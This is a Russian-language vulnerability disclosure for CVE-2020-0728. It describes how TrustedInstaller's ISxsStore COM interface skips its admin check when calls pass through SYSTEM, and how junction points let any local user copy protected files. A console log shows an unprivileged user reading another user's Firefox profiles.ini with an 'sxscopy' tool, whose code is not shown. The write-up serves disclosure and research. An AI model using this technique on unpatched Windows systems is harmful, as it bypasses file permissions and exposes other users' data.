
PoC-код для CVE-2020-0728
Служба TrustedInstaller.exe работает как NT_AUTHORITY\SYSTEM и размещает COM-службу класса Sxs Store (3C6859CE-230B-48A4-BE6C-932C0C202048) наряду с интерфейсом ISxsStore.
Разрешения доступа (O:BAG:BAD:(A;;CCDCLC;;;PS)(A;;CCDC;;;SY)(A;;CCDC;;;BA)(A;;CCDC;;;IU)(A;;CCDC;;;SU)) этой службы предоставляют доступ любым пользователям
локальной системы.
Интерфейс ISxsStore предоставляет 4 метода:
[Guid("8601319a-d7cf-40f3-9025-7f77125453c6")]
interface ISxsStore : IUnknown {
HRESULT BeginAssemblyInstall(/* Stack Offset: 8 */ [In] int p0);
HRESULT InstallAssembly(/* Stack Offset: 8 */ [In] int p0, /* Stack Offset: 16 */ [In] wchar_t* p1, /* Stack Offset: 24 */ [In] struct Struct_0* p2, /* Stack Offset: 32 */ [In] struct Struct_1* p3);
HRESULT EndAssemblyInstall(/* Stack Offset: 8 */ [In] int p0, /* Stack Offset: 16 */ [Out] int* p1);
HRESULT UninstallAssembly(/* Stack Offset: 8 */ [In] int p0, /* Stack Offset: 16 */ [In] wchar_t* p1, /* Stack Offset: 24 */ [In] struct Struct_1* p2, /* Stack Offset: 32 */ [In] int* p3);
}
При вызове реализация обращается к интерфейсу ICbsWorker, размещённому в процессе TiWorker.exe (опять же, работающему как NT_AUTHORITY\SYSTEM), чтобы получить сеанс ICbsSession8,
а затем практически вызывает те же методы через этот интерфейс.
Реальная логика реализована в библиотеке sxsstore.dll; авторизацию можно найти в CSxsStore::BeginAssemblyInstall:
uVar1 = SxspEnsureComClientIsAdmin((void **)this);
Это делается с помощью вызовов CoImpersonateClient+CheckTokenMembership.
Проблема в том, что если сеанс, размещённый процессом TiWorker.exe, вызывается через обёртку TrustedInstaller.exe, реализованная логика авторизации всегда сталкивается с подключениями от NT_AUTHORITY\SYSTEM
и таким образом предоставляет доступ кому угодно.
Запрашиваемые к установке сборки размещаются в C:\Windows\WinSXS реализацией, находящейся в wcp.dll (Windows::COM::CComponentStore::InternalTransact), и,
похоже, обладают достаточными мерами безопасности, чтобы защитить эти вызовы методов от выхода за пределы этого допустимого целевого каталога, однако исходные файлы, на которые ссылается
манифест, могут быть использованы через точки соединения.
Это можно использовать для обхода DAC файловой системы и чтения любых файлов в локальной файловой системе, как показано ниже:
Microsoft Windows [Version 10.0.18362.592]
(c) 2019 Microsoft Corporation. All rights reserved.
C:\Projects\windows-dcom-hacks\work\Windows Modules Installer\weapon>whoami
desktop-43rnlku\unprivileged
C:\Projects\windows-dcom-hacks\work\Windows Modules Installer\weapon>whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ==================================== ========
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
C:\Projects\windows-dcom-hacks\work\Windows Modules Installer\weapon>type "C:\Users\John Doe\AppData\Roaming\Mozilla\Firefox\profiles.ini"
Access is denied.
C:\Projects\windows-dcom-hacks\work\Windows Modules Installer\weapon>sxscopy.exe "C:\Users\John Doe\AppData\Roaming\Mozilla\Firefox\profiles.ini" profiles.ini
sxscopy: C:\Users\John Doe\AppData\Roaming\Mozilla\Firefox\profiles.ini => profiles.ini
Creating helper junction sxscopy.junction -> C:\
Junction created for sxscopy.junction <<===>> C:\
Executing DCOM magic with manifest file C:\Projects\windows-dcom-hacks\work\Windows Modules Installer\weapon\sxscopy.manifest
Exploitation has succeeded, copy of the source file was placed inside WinSXS
Copy has succeeded!
C:\Projects\windows-dcom-hacks\work\Windows Modules Installer\weapon>type profiles.ini
[Install308046B0AF4A39CB]
Default=Profiles/5bqqo33l.default
Locked=1
[Profile2]
Name=johndoe
IsRelative=1
Path=Profiles/5bqqo33l.default
Default=1
[Profile1]
Name=default
IsRelative=1
Path=Profiles/x89vbmzf.default
[Profile0]
Name=default-release
IsRelative=1
Path=Profiles/1kmhc44f.default-release
[General]
StartWithLastProfile=1
Version=2
Фреймворк wcp на самом деле довольно сложен и включает различные «установщики» (например, выполнение GenericCommand среди «продвинутых»),
но интерфейс, доступный выше, похоже, ограничен только «примитивными установщиками». Мне удалось инициировать выполнение
CRegistryInstaller::CommitChanges, которое записало в журнал C:\Windows\Logs\CBS\CBS.log строки вида:
2020-01-18 15:58:16, Info CSI 0000000c Registry installer wrote xxx values
Но на самом деле он так и не вызывал никаких методов API для изменения чего-либо в реестре.
Приведённый выше отчёт вместе с PoC-кодом был отправлен Имре Радом, но также был обнаружен исследователями из NCC (на самом деле на несколько месяцев раньше).
https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2020-0728